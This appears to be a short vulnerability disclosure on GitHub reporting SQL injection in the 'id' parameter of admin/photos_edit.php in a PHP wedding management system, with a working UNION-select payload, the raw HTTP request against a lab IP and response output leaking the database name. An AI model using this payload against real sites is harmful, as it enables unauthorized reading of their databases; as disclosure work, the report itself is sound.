debug601 Update SQLi-6.md History

1 contributor

27 lines (19 sloc) | 1.02 KB

Wedding Management System v1.0 by codeastr.com has SQL injection

vendors: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability File: \admin\photos_edit.php

Vulnerability location: /Wedding-Management/admin/photos_edit.php?id=, id

[+] Payload: id=-37%20union%20select%201,2,database(),4,5,6,7,8,9,10--+

dbname = dbwedding

```
GET /Wedding-Management/admin/photos_edit.php?id=-37%20union%20select%201,2,database
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
```

```
GET
/Wedding-Management/admin/photos_edit.php?id=-37%20union%20select%201,2,database(),4,5,6,7,8,9,10--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
```

```
                                                                                    <opti
John Dee</option>


                                                    </select>
                                </div>

                                 <div class="form-group">
                                     <label for="">Title:</label>
                                     <input type="text" name="title" value="dbwedding" class="fo
placeholder="Enter title">
                                 </div>
                                  <div class="form-group">
                                     <label for="">Caption:</label>
                                     <input type="text" name="caption" value="4" class="form-con
placeholder="Enter caption">
                                 </div>
                                  <div class="form-group">
                                     <label for="">Alternate Text:</label>
                                     <input type="text" name="alternate_text" value="7" class="f
placeholder="Enter text">
                                 </div>
                                 <div class="form-group">
                                     <textarea name="description" rows="10" class="form-control"
```

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION OTHER XSS LFI

Load URL
Split URL
Execute

http://192.168.1.19/Wedding-Management/admin/photos_edit.php?id=-37 union select 1,2,database(),4,5,6,7,8,9,10--+

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace All